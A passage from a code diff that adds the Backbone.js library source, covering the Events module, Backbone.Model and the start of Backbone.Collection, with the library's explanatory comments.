+  // `application/json` requests ... this will encode the body as
+  // `application/x-www-form-urlencoded` instead and will send the model in a
+  // form param named `model`.
+  Backbone.emulateJSON = false;
+
+  // Proxy Backbone class methods to Underscore functions, wrapping the model's
+  // `attributes` object or collection's `models` array behind the scenes.
+  //
+  // collection.filter(function(model) { return model.get('age') > 10 });
+  // collection.each(this.addView);
+  //
+  // `Function#apply` can be slow so we use the method's arg count, if we know it.
+  var addMethod = function(length, method, attribute) {
+    switch (length) {
+      case 1: return function() {
+        return _[method](this[attribute]);
+      };
+      case 2: return function(value) {
+        return _[method](this[attribute], value);
+      };
+      case 3: return function(iteratee, context) {
+        return _[method](this[attribute], cb(iteratee, this), context);
+      };
+      case 4: return function(iteratee, defaultVal, context) {
+        return _[method](this[attribute], cb(iteratee, this), defaultVal, context);
+      };
+      default: return function() {
+        var args = slice.call(arguments);
+        args.unshift(this[attribute]);
+        return _[method].apply(_, args);
+      };
+    }
+  };
+  var addUnderscoreMethods = function(Class, methods, attribute) {
+    _.each(methods, function(length, method) {
+      if (_[method]) Class.prototype[method] = addMethod(length, method, attribute);
+    });
+  };
+
+  // Support `collection.sortBy('attr')` and `collection.findWhere({id: 1})`.
+  var cb = function(iteratee, instance) {
+    if (_.isFunction(iteratee)) return iteratee;
+    if (_.isObject(iteratee) && !instance._isModel(iteratee)) return modelMatcher(iteratee);
+    if (_.isString(iteratee)) return function(model) { return model.get(iteratee); };
+    return iteratee;
+  };
+  var modelMatcher = function(attrs) {
+    var matcher = _.matches(attrs);
+    return function(model) {
+      return matcher(model.attributes);
+    };
+  };
+
+  // Backbone.Events
+  // ---------------
+
+  // A module that can be mixed in to *any object* in order to provide it with
+  // a custom event channel. You may bind a callback to an event with `on` or
+  // remove with `off`; `trigger`-ing an event fires all callbacks in
+  // succession.
+  //
+  //     var object = {};
+  //     _.extend(object, Backbone.Events);
+  //     object.on('expand', function(){ alert('expanded'); });
+  //     object.trigger('expand');
+  //
+  var Events = Backbone.Events = {};
+
+  // Regular expression used to split event strings.
+  var eventSplitter = /\s+/;
+
+  // Iterates over the standard `event, callback` (as well as the fancy multiple
+  // space-separated events `"change blur", callback` and jQuery-style event
+  // maps `{event: callback}`).
+  var eventsApi = function(iteratee, events, name, callback, opts) {
+    var i = 0, names;
+    if (name && typeof name === 'object') {
+      // Handle event maps.
+      if (callback !== void 0 && 'context' in opts && opts.context === void 0) opts.context = callback;
+      for (names = _.keys(name); i < names.length ; i++) {
+        events = eventsApi(iteratee, events, names[i], name[names[i]], opts);
+      }
+    } else if (name && eventSplitter.test(name)) {
+      // Handle space-separated event names by delegating them individually.
+      for (names = name.split(eventSplitter); i < names.length; i++) {
+        events = iteratee(events, names[i], callback, opts);
+      }
+    } else {
+      // Finally, standard events.
+      events = iteratee(events, name, callback, opts);
+    }
+    return events;
+  };
+
+  // Bind an event to a `callback` function. Passing `"all"` will bind
+  // the callback to all events fired.
+  Events.on = function(name, callback, context) {
+    return internalOn(this, name, callback, context);
+  };
+
+  // Guard the `listening` argument from the public API.
+  var internalOn = function(obj, name, callback, context, listening) {
+    obj._events = eventsApi(onApi, obj._events || {}, name, callback, {
+      context: context,
+      ctx: obj,
+      listening: listening
+    });
+
+    if (listening) {
+      var listeners = obj._listeners || (obj._listeners = {});
+      listeners[listening.id] = listening;
+    }
+
+    return obj;
+  };
+
+  // Inversion-of-control versions of `on`. Tell *this* object to listen to
+  // an event in another object... keeping track of what it's listening to
+  // for easier unbinding later.
+  Events.listenTo = function(obj, name, callback) {
+    if (!obj) return this;
+    var id = obj._listenId || (obj._listenId = _.uniqueId('l'));
+    var listeningTo = this._listeningTo || (this._listeningTo = {});
+    var listening = listeningTo[id];
+
+    // This object is not listening to any other events on `obj` yet.
+    // Setup the necessary references to track the listening callbacks.
+    if (!listening) {
+      var thisId = this._listenId || (this._listenId = _.uniqueId('l'));
+      listening = listeningTo[id] = {obj: obj, objId: id, id: thisId, listeningTo: listeningTo, count: 0};
+    }
+
+    // Bind callbacks on obj, and keep track of them on listening.
+    internalOn(obj, name, callback, this, listening);
+    return this;
+  };
+
+  // The reducing API that adds a callback to the `events` object.
+  var onApi = function(events, name, callback, options) {
+    if (callback) {
+      var handlers = events[name] || (events[name] = []);
+      var context = options.context, ctx = options.ctx, listening = options.listening;
+      if (listening) listening.count++;
+
+      handlers.push({callback: callback, context: context, ctx: context || ctx, listening: listening});
+    }
+    return events;
+  };
+
+  // Remove one or many callbacks. If `context` is null, removes all
+  // callbacks with that function. If `callback` is null, removes all
+  // callbacks for the event. If `name` is null, removes all bound
+  // callbacks for all events.
+  Events.off = function(name, callback, context) {
+    if (!this._events) return this;
+    this._events = eventsApi(offApi, this._events, name, callback, {
+      context: context,
+      listeners: this._listeners
+    });
+    return this;
+  };
+
+  // Tell this object to stop listening to either specific events ... or
+  // to every object it's currently listening to.
+  Events.stopListening = function(obj, name, callback) {
+    var listeningTo = this._listeningTo;
+    if (!listeningTo) return this;
+
+    var ids = obj ? [obj._listenId] : _.keys(listeningTo);
+
+    for (var i = 0; i < ids.length; i++) {
+      var listening = listeningTo[ids[i]];
+
+      // If listening doesn't exist, this object is not currently
+      // listening to obj. Break out early.
+      if (!listening) break;
+
+      listening.obj.off(name, callback, this);
+    }
+
+    return this;
+  };
+
+  // The reducing API that removes a callback from the `events` object.
+  var offApi = function(events, name, callback, options) {
+    if (!events) return;
+
+    var i = 0, listening;
+    var context = options.context, listeners = options.listeners;
+
+    // Delete all events listeners and "drop" events.
+    if (!name && !callback && !context) {
+      var ids = _.keys(listeners);
+      for (; i < ids.length; i++) {
+        listening = listeners[ids[i]];
+        delete listeners[listening.id];
+        delete listening.listeningTo[listening.objId];
+      }
+      return;
+    }
+
+    var names = name ? [name] : _.keys(events);
+    for (; i < names.length; i++) {
+      name = names[i];
+      var handlers = events[name];
+
+      // Bail out if there are no events stored.
+      if (!handlers) break;
+
+      // Replace events if there are any remaining.  Otherwise, clean up.
+      var remaining = [];
+      for (var j = 0; j < handlers.length; j++) {
+        var handler = handlers[j];
+        if (
+          callback && callback !== handler.callback &&
+            callback !== handler.callback._callback ||
+              context && context !== handler.context
+        ) {
+          remaining.push(handler);
+        } else {
+          listening = handler.listening;
+          if (listening && --listening.count === 0) {
+            delete listeners[listening.id];
+            delete listening.listeningTo[listening.objId];
+          }
+        }
+      }
+
+      // Update tail event if the list has any events.  Otherwise, clean up.
+      if (remaining.length) {
+        events[name] = remaining;
+      } else {
+        delete events[name];
+      }
+    }
+    return events;
+  };
+
+  // Bind an event to only be triggered a single time. After the first time
+  // the callback is invoked, its listener will be removed. If multiple events
+  // are passed in using the space-separated syntax, the handler will fire
+  // once for each event, not once for a combination of all events.
+  Events.once = function(name, callback, context) {
+    // Map the event into a `{event: once}` object.
+    var events = eventsApi(onceMap, {}, name, callback, _.bind(this.off, this));
+    if (typeof name === 'string' && context == null) callback = void 0;
+    return this.on(events, callback, context);
+  };
+
+  // Inversion-of-control versions of `once`.
+  Events.listenToOnce = function(obj, name, callback) {
+    // Map the event into a `{event: once}` object.
+    var events = eventsApi(onceMap, {}, name, callback, _.bind(this.stopListening, this, obj));
+    return this.listenTo(obj, events);
+  };
+
+  // Reduces the event callbacks into a map of `{event: onceWrapper}`.
+  // `offer` unbinds the `onceWrapper` after it has been called.
+  var onceMap = function(map, name, callback, offer) {
+    if (callback) {
+      var once = map[name] = _.once(function() {
+        offer(name, once);
+        callback.apply(this, arguments);
+      });
+      once._callback = callback;
+    }
+    return map;
+  };
+
+  // Trigger one or many events, firing all bound callbacks. Callbacks are
+  // passed the same arguments as `trigger` is, apart from the event name
+  // (unless you're listening on `"all"`, which will cause your callback to
+  // receive the true name of the event as the first argument).
+  Events.trigger = function(name) {
+    if (!this._events) return this;
+
+    var length = Math.max(0, arguments.length - 1);
+    var args = Array(length);
+    for (var i = 0; i < length; i++) args[i] = arguments[i + 1];
+
+    eventsApi(triggerApi, this._events, name, void 0, args);
+    return this;
+  };
+
+  // Handles triggering the appropriate event callbacks.
+  var triggerApi = function(objEvents, name, callback, args) {
+    if (objEvents) {
+      var events = objEvents[name];
+      var allEvents = objEvents.all;
+      if (events && allEvents) allEvents = allEvents.slice();
+      if (events) triggerEvents(events, args);
+      if (allEvents) triggerEvents(allEvents, [name].concat(args));
+    }
+    return objEvents;
+  };
+
+  // A difficult-to-believe, but optimized internal dispatch function for
+  // triggering events. Tries to keep the usual cases speedy (most internal
+  // Backbone events have 3 arguments).
+  var triggerEvents = function(events, args) {
+    var ev, i = -1, l = events.length, a1 = args[0], a2 = args[1], a3 = args[2];
+    switch (args.length) {
+      case 0: while (++i < l) (ev = events[i]).callback.call(ev.ctx); return;
+      case 1: while (++i < l) (ev = events[i]).callback.call(ev.ctx, a1); return;
+      case 2: while (++i < l) (ev = events[i]).callback.call(ev.ctx, a1, a2); return;
+      case 3: while (++i < l) (ev = events[i]).callback.call(ev.ctx, a1, a2, a3); return;
+      default: while (++i < l) (ev = events[i]).callback.apply(ev.ctx, args); return;
+    }
+  };
+
+  // Aliases for backwards compatibility.
+  Events.bind   = Events.on;
+  Events.unbind = Events.off;
+
+  // Allow the `Backbone` object to serve as a global event bus, for folks who
+  // want global "pubsub" in a convenient place.
+  _.extend(Backbone, Events);
+
+  // Backbone.Model
+  // --------------
+
+  // Backbone **Models** are the basic data object in the framework --
+  // frequently representing a row in a table in a database on your server.
+  // A discrete chunk of data and a bunch of useful, related methods for
+  // performing computations and transformations on that data.
+
+  // Create a new model with the specified attributes. A client id (`cid`)
+  // is automatically generated and assigned for you.
+  var Model = Backbone.Model = function(attributes, options) {
+    var attrs = attributes || {};
+    options || (options = {});
+    this.cid = _.uniqueId(this.cidPrefix);
+    this.attributes = {};
+    if (options.collection) this.collection = options.collection;
+    if (options.parse) attrs = this.parse(attrs, options) || {};
+    var defaults = _.result(this, 'defaults');
+    attrs = _.defaults(_.extend({}, defaults, attrs), defaults);
+    this.set(attrs, options);
+    this.changed = {};
+    this.initialize.apply(this, arguments);
+  };
+
+  // Attach all inheritable methods to the Model prototype.
+  _.extend(Model.prototype, Events, {
+
+    // A hash of attributes whose current and previous value differ.
+    changed: null,
+
+    // The value returned during the last failed validation.
+    validationError: null,
+
+    // The default name for the JSON `id` attribute is `"id"`. MongoDB and
+    // CouchDB users may want to set this to `"_id"`.
+    idAttribute: 'id',
+
+    // The prefix is used to create the client id which is used to identify models locally.
+    // You may want to override this if you're experiencing name clashes with model ids.
+    cidPrefix: 'c',
+
+    // Initialize is an empty function by default. Override it with your own
+    // initialization logic.
+    initialize: function(){},
+
+    // Return a copy of the model's `attributes` object.
+    toJSON: function(options) {
+      return _.clone(this.attributes);
+    },
+
+    // Proxy `Backbone.sync` by default -- but override this if you need
+    // custom syncing semantics for *this* particular model.
+    sync: function() {
+      return Backbone.sync.apply(this, arguments);
+    },
+
+    // Get the value of an attribute.
+    get: function(attr) {
+      return this.attributes[attr];
+    },
+
+    // Get the HTML-escaped value of an attribute.
+    escape: function(attr) {
+      return _.escape(this.get(attr));
+    },
+
+    // Returns `true` if the attribute contains a value that is not null
+    // or undefined.
+    has: function(attr) {
+      return this.get(attr) != null;
+    },
+
+    // Special-cased proxy to underscore's `_.matches` method.
+    matches: function(attrs) {
+      return !!_.iteratee(attrs, this)(this.attributes);
+    },
+
+    // Set a hash of model attributes on the object, firing `"change"`. This is
+    // the core primitive operation of a model, updating the data and notifying
+    // anyone who needs to know about the change in state. The heart of the beast.
+    set: function(key, val, options) {
+      if (key == null) return this;
+
+      // Handle both `"key", value` and `{key: value}` -style arguments.
+      var attrs;
+      if (typeof key === 'object') {
+        attrs = key;
+        options = val;
+      } else {
+        (attrs = {})[key] = val;
+      }
+
+      options || (options = {});
+
+      // Run validation.
+      if (!this._validate(attrs, options)) return false;
+
+      // Extract attributes and options.
+      var unset      = options.unset;
+      var silent     = options.silent;
+      var changes    = [];
+      var changing   = this._changing;
+      this._changing = true;
+
+      if (!changing) {
+        this._previousAttributes = _.clone(this.attributes);
+        this.changed = {};
+      }
+
+      var current = this.attributes;
+      var changed = this.changed;
+      var prev    = this._previousAttributes;
+
+      // For each `set` attribute, update or delete the current value.
+      for (var attr in attrs) {
+        val = attrs[attr];
+        if (!_.isEqual(current[attr], val)) changes.push(attr);
+        if (!_.isEqual(prev[attr], val)) {
+          changed[attr] = val;
+        } else {
+          delete changed[attr];
+        }
+        unset ? delete current[attr] : current[attr] = val;
+      }
+
+      // Update the `id`.
+      if (this.idAttribute in attrs) this.id = this.get(this.idAttribute);
+
+      // Trigger all relevant attribute changes.
+      if (!silent) {
+        if (changes.length) this._pending = options;
+        for (var i = 0; i < changes.length; i++) {
+          this.trigger('change:' + changes[i], this, current[changes[i]], options);
+        }
+      }
+
+      // You might be wondering why there's a `while` loop here. Changes can
+      // be recursively nested within `"change"` events.
+      if (changing) return this;
+      if (!silent) {
+        while (this._pending) {
+          options = this._pending;
+          this._pending = false;
+          this.trigger('change', this, options);
+        }
+      }
+      this._pending = false;
+      this._changing = false;
+      return this;
+    },
+
+    // Remove an attribute from the model, firing `"change"`. `unset` is a noop
+    // if the attribute doesn't exist.
+    unset: function(attr, options) {
+      return this.set(attr, void 0, _.extend({}, options, {unset: true}));
+    },
+
+    // Clear all attributes on the model, firing `"change"`.
+    clear: function(options) {
+      var attrs = {};
+      for (var key in this.attributes) attrs[key] = void 0;
+      return this.set(attrs, _.extend({}, options, {unset: true}));
+    },
+
+    // Determine if the model has changed since the last `"change"` event.
+    // If you specify an attribute name, determine if that attribute has changed.
+    hasChanged: function(attr) {
+      if (attr == null) return !_.isEmpty(this.changed);
+      return _.has(this.changed, attr);
+    },
+
+    // Return an object containing all the attributes that have changed, or
+    // false if there are no changed attributes. Useful for determining what
+    // parts of a view need to be updated and/or what attributes need to be
+    // persisted to the server. Unset attributes will be set to undefined.
+    // You can also pass an attributes object to diff against the model,
+    // determining if there *would be* a change.
+    changedAttributes: function(diff) {
+      if (!diff) return this.hasChanged() ? _.clone(this.changed) : false;
+      var old = this._changing ? this._previousAttributes : this.attributes;
+      var changed = {};
+      for (var attr in diff) {
+        var val = diff[attr];
+        if (_.isEqual(old[attr], val)) continue;
+        changed[attr] = val;
+      }
+      return _.size(changed) ? changed : false;
+    },
+
+    // Get the previous value of an attribute, recorded at the time the last
+    // `"change"` event was fired.
+    previous: function(attr) {
+      if (attr == null || !this._previousAttributes) return null;
+      return this._previousAttributes[attr];
+    },
+
+    // Get all of the attributes of the model at the time of the previous
+    // `"change"` event.
+    previousAttributes: function() {
+      return _.clone(this._previousAttributes);
+    },
+
+    // Fetch the model from the server, merging the response with the model's
+    // local attributes. Any changed attributes will trigger a "change" event.
+    fetch: function(options) {
+      options = _.extend({parse: true}, options);
+      var model = this;
+      var success = options.success;
+      options.success = function(resp) {
+        var serverAttrs = options.parse ? model.parse(resp, options) : resp;
+        if (!model.set(serverAttrs, options)) return false;
+        if (success) success.call(options.context, model, resp, options);
+        model.trigger('sync', model, resp, options);
+      };
+      wrapError(this, options);
+      return this.sync('read', this, options);
+    },
+
+    // Set a hash of model attributes, and sync the model to the server.
+    // If the server returns an attributes hash that differs, the model's
+    // state will be `set` again.
+    save: function(key, val, options) {
+      // Handle both `"key", value` and `{key: value}` -style arguments.
+      var attrs;
+      if (key == null || typeof key === 'object') {
+        attrs = key;
+        options = val;
+      } else {
+        (attrs = {})[key] = val;
+      }
+
+      options = _.extend({validate: true, parse: true}, options);
+      var wait = options.wait;
+
+      // If we're not waiting and attributes exist, save acts as
+      // `set(attr).save(null, opts)` with validation. Otherwise, check if
+      // the model will be valid when the attributes, if any, are set.
+      if (attrs && !wait) {
+        if (!this.set(attrs, options)) return false;
+      } else if (!this._validate(attrs, options)) {
+        return false;
+      }
+
+      // After a successful server-side save, the client is (optionally)
+      // updated with the server-side state.
+      var model = this;
+      var success = options.success;
+      var attributes = this.attributes;
+      options.success = function(resp) {
+        // Ensure attributes are restored during synchronous saves.
+        model.attributes = attributes;
+        var serverAttrs = options.parse ? model.parse(resp, options) : resp;
+        if (wait) serverAttrs = _.extend({}, attrs, serverAttrs);
+        if (serverAttrs && !model.set(serverAttrs, options)) return false;
+        if (success) success.call(options.context, model, resp, options);
+        model.trigger('sync', model, resp, options);
+      };
+      wrapError(this, options);
+
+      // Set temporary attributes if `{wait: true}` to properly find new ids.
+      if (attrs && wait) this.attributes = _.extend({}, attributes, attrs);
+
+      var method = this.isNew() ? 'create' : (options.patch ? 'patch' : 'update');
+      if (method === 'patch' && !options.attrs) options.attrs = attrs;
+      var xhr = this.sync(method, this, options);
+
+      // Restore attributes.
+      this.attributes = attributes;
+
+      return xhr;
+    },
+
+    // Destroy this model on the server if it was already persisted.
+    // Optimistically removes the model from its collection, if it has one.
+    // If `wait: true` is passed, waits for the server to respond before removal.
+    destroy: function(options) {
+      options = options ? _.clone(options) : {};
+      var model = this;
+      var success = options.success;
+      var wait = options.wait;
+
+      var destroy = function() {
+        model.stopListening();
+        model.trigger('destroy', model, model.collection, options);
+      };
+
+      options.success = function(resp) {
+        if (wait) destroy();
+        if (success) success.call(options.context, model, resp, options);
+        if (!model.isNew()) model.trigger('sync', model, resp, options);
+      };
+
+      var xhr = false;
+      if (this.isNew()) {
+        _.defer(options.success);
+      } else {
+        wrapError(this, options);
+        xhr = this.sync('delete', this, options);
+      }
+      if (!wait) destroy();
+      return xhr;
+    },
+
+    // Default URL for the model's representation on the server -- if you're
+    // using Backbone's restful methods, override this to change the endpoint
+    // that will be called.
+    url: function() {
+      var base =
+        _.result(this, 'urlRoot') ||
+        _.result(this.collection, 'url') ||
+        urlError();
+      if (this.isNew()) return base;
+      var id = this.get(this.idAttribute);
+      return base.replace(/[^\/]$/, '$&/') + encodeURIComponent(id);
+    },
+
+    // **parse** converts a response into the hash of attributes to be `set` on
+    // the model. The default implementation is just to pass the response along.
+    parse: function(resp, options) {
+      return resp;
+    },
+
+    // Create a new model with identical attributes to this one.
+    clone: function() {
+      return new this.constructor(this.attributes);
+    },
+
+    // A model is new if it has never been saved to the server, and lacks an id.
+    isNew: function() {
+      return !this.has(this.idAttribute);
+    },
+
+    // Check if the model is currently in a valid state.
+    isValid: function(options) {
+      return this._validate({}, _.extend({}, options, {validate: true}));
+    },
+
+    // Run validation against the next complete set of model attributes,
+    // returning `true` if all is well. Otherwise, fire an `"invalid"` event.
+    _validate: function(attrs, options) {
+      if (!options.validate || !this.validate) return true;
+      attrs = _.extend({}, this.attributes, attrs);
+      var error = this.validationError = this.validate(attrs, options) || null;
+      if (!error) return true;
+      this.trigger('invalid', this, error, _.extend(options, {validationError: error}));
+      return false;
+    }
+
+  });
+
+  // Underscore methods that we want to implement on the Model, mapped to the
+  // number of arguments they take.
+  var modelMethods = {keys: 1, values: 1, pairs: 1, invert: 1, pick: 0,
+      omit: 0, chain: 1, isEmpty: 1};
+
+  // Mix in each Underscore method as a proxy to `Model#attributes`.
+  addUnderscoreMethods(Model, modelMethods, 'attributes');
+
+  // Backbone.Collection
+  // -------------------
+
+  // If models tend to represent a single row of data, a Backbone Collection is
+  // more analogous to a table full of data ... or a small slice or page of that
+  // table, or a collection of rows that belong together for a particular reason
+  // -- all of the messages in this particular folder, all of the documents
+  // belonging to this particular author, and so on. Collections maintain
+  // indexes of their models, both in order, and for lookup by `id`.
+
+  // Create a new **Collection**, perhaps to contain a specific type of `model`.
+  // If a `comparator` is specified, the Collection will maintain
+  // its models in sort order, as they're added and removed.
+  var Collection = Backbone.Collection = function(models, options) {
+    options || (options = {});
+    if (options.model) this.model = options.model;
+    if (options.comparator !== void 0) this.comparator = options.comparator;
+    this._reset();
+    this.initialize.apply(this, arguments);
+    if (models) this.reset(models, _.extend({silent: true}, options));
+  };
+
+  // Default options for `Collection#set`.
+  var setOptions = {add: true, remove: true, merge: true};
+  var addOptions = {add: true, remove: false};
+
+  // Splices `insert` into `array` at index `at`.
+  var splice = function(array, insert, at) {
+    at = Math.min(Math.max(at, 0), array.length);
+    var tail = Array(array.length - at);
+    var length = insert.length;
+    var i;
+    for (i = 0; i < tail.length; i++) tail[i] = array[i + at];
+    for (i = 0; i < length; i++) array[i + at] = insert[i];
+    for (i = 0; i < tail.length; i++) array[i + length + at] = tail[i];
+  };
+
+  // Define the Collection's inheritable methods.
+  _.extend(Collection.prototype, Events, {
+
+    // The default model for a collection is just a **Backbone.Model**.
+    // This should be overridden in most cases.
+    model: Model,
+
+    // Initialize is an empty function by default. Override it with your own
+    // initialization logic.
+    initialize: function(){},
+
+    // The JSON representation of a Collection is an array of the
+    // models' attributes.
+    toJSON: function(options) {
+      return this.map(function(model) { return model.toJSON(options); });
+    },
+
+    // Proxy `Backbone.sync` by default.
+    sync: function() {
+      return Backbone.sync.apply(this, arguments);
+    },
+
+    // Add a model, or list of models to the set. `models` may be Backbone
+    // Models or raw JavaScript objects to be converted to Models, or any
+    // combination of the two.
+    add: function(models, options) {
+      return this.set(models, _.extend({merge: false}, options, addOptions));
+    },
+
+    // Remove a model, or a list of models from the set.
+    remove: function(models, options) {
+      options = _.extend({}, options);
+      var singular = !_.isArray(models);
+      models = singular ? [models] : models.slice();
+      var removed = this._removeModels(models, options);
+      if (!options.silent && removed.length) {
+        options.changes = {added: [], merged: [], removed: removed};
+        this.trigger('update', this, options);
+      }
+      return singular ? removed[0] : removed;
+    },
+
+    // Update a collection by `set`-ing a new list of models, adding new ones,
+    // removing models that are no longer present, and merging models that
+    // already exist in the collection, as necessary. Similar to **Model#set**,
+    // the core operation for updating the data contained by the collection.
+    set: function(models, options) {
+      if (models == null) return;
+
+      options = _.extend({}, setOptions, options);
+      if (options.parse && !this._isModel(models)) {
+        models = this.parse(models, options) || [];
+      }
+
+      var singular = !_.isArray(models);
+      models = singular ? [models] : models.slice();
+
+      var at = options.at;
+      if (at != null) at = +at;
+      if (at > this.length) at = this.length;
+      if (at < 0) at += this.length + 1;
+
+      var set = [];
+      var toAdd = [];
+      var toMerge = [];
+      var toRemove = [];
+      var modelMap = {};
+
+      var add = options.add;
+      var merge = options.merge;
+      var remove = options.remove;
+
+      var sort = false;
+      var sortable = this.comparator && at == null && options.sort !== false;
+      var sortAttr = _.isString(this.comparator) ? this.comparator : null;
+
+      // Turn bare objects into model references, and prevent invalid models
+      // from being added.
+      var model, i;
+      for (i = 0; i < models.length; i++) {
+        model = models[i];
+
+        // If a duplicate is found, prevent it from being added and
+        // optionally merge it into the existing model.
+        var existing = this.get(model);
+        if (existing) {
+          if (merge && model !== existing) {
+            var attrs = this._isModel(model) ? model.attributes : model;
+            if (options.parse) attrs = existing.parse(attrs, options);
+            existing.set(attrs, options);
+            toMerge.push(existing);
+            if (sortable && !sort) sort = existing.hasChanged(sortAttr);
+          }
+          if (!modelMap[existing.cid]) {
+            modelMap[existing.cid] = true;
+            set.push(existing);
+          }
+          models[i] = existing;
+
+        // If this is a new, valid model, push it to the `toAdd` list.
+        } else if (add) {
+          model = models[i] = this._prepareModel(model, options);
+          if (model) {
+            toAdd.push(model);
+            this._addReference(model, options);
+            modelMap[model.cid] = true;
+            set.push(model);
+          }
+        }
+      }
+
+      // Remove stale models.
+      if (remove) {
+        for (i = 0; i < this.length; i++) {
+          model = this.models[i];
+          if (!modelMap[model.cid]) toRemove.push(model);
+        }
+        if (toRemove.length) this._removeModels(toRemove, options);
+      }
+
+      // See if sorting is needed, update `length` and splice in new models.
+      var orderChanged = false;
+      var replace = !sortable && add && remove;
+      if (set.length && replace) {
+        orderChanged = this.length !== set.length || _.some(this.models, function(m, index) {
+          return m !== set[index];
+        });
+        this.models.length = 0;
+        splice(this.models, set, 0);
+        this.length = this.models.length;
+      } else if (toAdd.length) {
+        if (sortable) sort = true;
+        splice(this.models, toAdd, at == null ? this.length : at);
+        this.length = this.models.length;
+      }
+
+      // Silently sort the collection if appropriate.
+      if (sort) this.sort({silent: true});
+
+      // Unless silenced, it's time to fire all appropriate add/sort/update events.
+      if (!options.silent) {
+        for (i = 0; i < toAdd.length; i++) {
+          if (at != null) options.index = at + i;
+          model = toAdd[i];
+          model.trigger('add', model, this, options);
+        }
+        if (sort || orderChanged) this.trigger('sort', this, options);
+        if (toAdd.length || toRemove.length || toMerge.length) {
+          options.changes = {
+            added: toAdd,
+            removed: toRemove,
+            merged: toMerge
+          };
+          this.trigger('update', this, options);
+        }
+      }
+
+      // Return the added (or merged) model (or models).
+      return singular ? models[0] : models;
+    },
+
+    // When you have more items than you want to add or remove individually,
+    // you can reset the entire set with a new list of models, without firing
+    // any granular `add` or `remove` events. Fires `reset` when finished.
+    // Useful for bulk operations and optimizations.
+    reset: function(models, options) {
+      options = options ? _.clone(options) : {};
+      for (var i = 0; i < this.models.length; i++) {
+        this._removeReference(this.models[i], options);
+      }
+      options.previousModels = this.models;
+      this._reset();
+      models = this.add(models, _.extend({silent: true}, options));
+      if (!options.silent) this.trigger('reset', this, options);
+      return models;
+    },
+
+    // Add a model to the end of the collection.
+    push: function(model, options) {
+      return this.add(model, _.extend({at: this.length}, options));
+    },
+
+    // Remove a model from the end of the collection.
+    pop: function(options) {
+      var model = this.at(this.length - 1);
+      return this.remove(model, options);
+    },
+
+    // Add a model to the beginning of the collection.
+    unshift: function(model, options) {
+      return this.add(model, _.extend({at: 0}, options));
+    },
+
+    // Remove a model from the beginning of the collection.
+    shift: function(options) {
+      var model = this.at(0);
+      return this.remove(model, options);
+    },
+
+    // Slice out a sub-array of models from the collection.
+    slice: function() {
+      return slice.apply(this.models, arguments);
+    },
+
+    // Get a model from the set by id, cid, model object with id or cid
+    // properties, or an attributes object that is transformed through modelId.
+    get: function(obj) {
+      if (obj == null) return void 0;
+      return this._byId[obj] ||
+        this._byId[this.modelId(obj.attributes || obj)] ||
+        obj.cid && this._byId[obj.cid];
+    },
+
+    // Returns `true` if the model is in the collection.
+    has: function(obj) {
+      return this.get(obj) != null;
+    },
+
+    // Get the model at the given index.
+    at: function(index) {
+      if (index < 0) index += this.length;
+      return this.models[index];
+    },
+
+    // Return models with matching attributes. Useful for simple cases of
+    // `filter`.
+    where: function(attrs, first) {
+      return this[first ? 'find' : 'filter'](attrs);
+    },
+
+    // Return the first model with matching attributes. Useful for simple cases
+    // of `find`.
+    findWhere: function(attrs) {
+      return this.where(attrs, true);
+    },
+
+    // Force the collection to re-sort itself. You don't need to call this under
+    // normal circumstances, as the set will maintain sort order as each item
+    // is added.
+    sort: function(options) {
+      var comparator = this.comparator;
+      if (!comparator) throw new Error('Cannot sort a set without a comparator');
+      options || (options = {});
+
+      var length = comparator.length;
+      if (_.isFunction(comparator)) comparator = _.bind(comparator, this);
+
+      // Run sort based on type of `comparator`.
+      if (length === 1 || _.isString(comparator)) {
+        this.models = this.sortBy(comparator);
+      } else {
+        this.models.sort(comparator);
+      }
+      if (!options.silent) this.trigger('sort', this, options);
+      return this;
+    },
+
+    // Pluck an attribute from each model in the collection.
+    pluck: function(attr) {
+      return this.map(attr + '');
+    },
+
+    // Fetch the default set of models for this collection, resetting the
+    // collection when they arrive. If `reset: true` is passed, the response
+    // data will be passed through the `reset` method instead of `set`.
+    fetch: function(options) {
+      options = _.extend({parse: true}, options);
+      var success = options.success;
+      var collection = this;
+      options.success = function(resp) {
+        var method = options.reset ? 'reset' : 'set';
+        collection[method](resp, options);
+        if (success) success.call(options.context, collection, resp, options);
+        collection.trigger('sync', collection, resp, options);
+      };
+      wrapError(this, options);
+      return this.sync('read', this, options);
+    },
+
+    // Create a new instance of a model in this collection. Add the model to the
+    // collection immediately, unless `wait: true` is passed, in which case we
+    // wait for the server to agree.
+    create: function(model, options) {
+      options = options ? _.clone(options) : {};
+      var wait = options.wait;
+      model = this._prepareModel(model, options);
+      if (!model) return false;
+      if (!wait) this.add(model, options);
+      var collection = this;
+      var success = options.success;
+      options.success = function(m, resp, callbackOpts) {
+        if (wait) collection.add(m, callbackOpts);
+        if (success) success.call(callbackOpts.context, m, resp, callbackOpts);
+      };
+      model.save(null, options);
+      return model;
+    },
+
+    // **parse** converts a response into a list of models to be added to the
+    // collection. The default implementation is just to pass it through.
+    parse: function(resp, options) {
+      return resp;
+    },
+
+    // Create a new collection with an identical list of models as this one.
+    clone: function() {
+      return new this.constructor(this.models, {
+        model: this.model,
+        comparator: this.comparator
+      });
+    },
+
+    // Define how to uniquely identify models in the collection.
+    modelId: function(attrs) {
+      return attrs[this.model.prototype.idAttribute || 'id'];
+    },
+
+    // Private method to reset all internal state. Called when the collection
+    // is first initialized or reset.
+    _reset: function() {
+      this.length = 0;
+      this.models = [];
+      this._byId  = {};
+    },
+
+    // Prepare a hash of attributes (or other model) to be added to this
+    // collection.
+    _prepareModel: function(attrs, options) {
+      if (this._isModel(attrs)) {
+        if (!attrs.collection) attrs.collection = this;
+        return attrs;
+      }
+      options = options ? _.clone(options) : {};
+      options.collection = this;
+      var model = new this.model(attrs, options);
+      if (!model.validationError) return model;
+      this.trigger('invalid', this, model.validationError, options);
+      return false;
+    },
+
+    // Internal method called by both remove and set.
+    _removeModels: function(models, options) {
+      var removed = [];
+      for (var i = 0; i < models.length; i++) {
+        var model = this.get(models[i]);
+        if (!model) continue;
+
+        var index = this.indexOf(model);
+        this.models.splice(index, 1);
+        this.length--;
+
+        // Remove references before triggering 'remove' event to prevent an
+        // infinite loop. #3693
+        delete this._byId[model.cid];
+        var id = this.modelId(model.attributes);
+        if (id != null) delete this._byId[id];
+
+        if (!options.silent) {
+          options.index = index;
+          model.trigger('remove', model, this, options);
+        }
+
+        removed.push(model);
+        this._removeReference(model, options);
+      }
+      return removed;
+    },
+
+    // Method for checking whether an object should be considered a model for
+    // the purposes of adding to the collection.
+    _isModel: function(model) {
+      return model instanceof Model;
+    },
+
+    // Internal method to create a model's ties to a collection.
+    _addReference: function(model, options) {
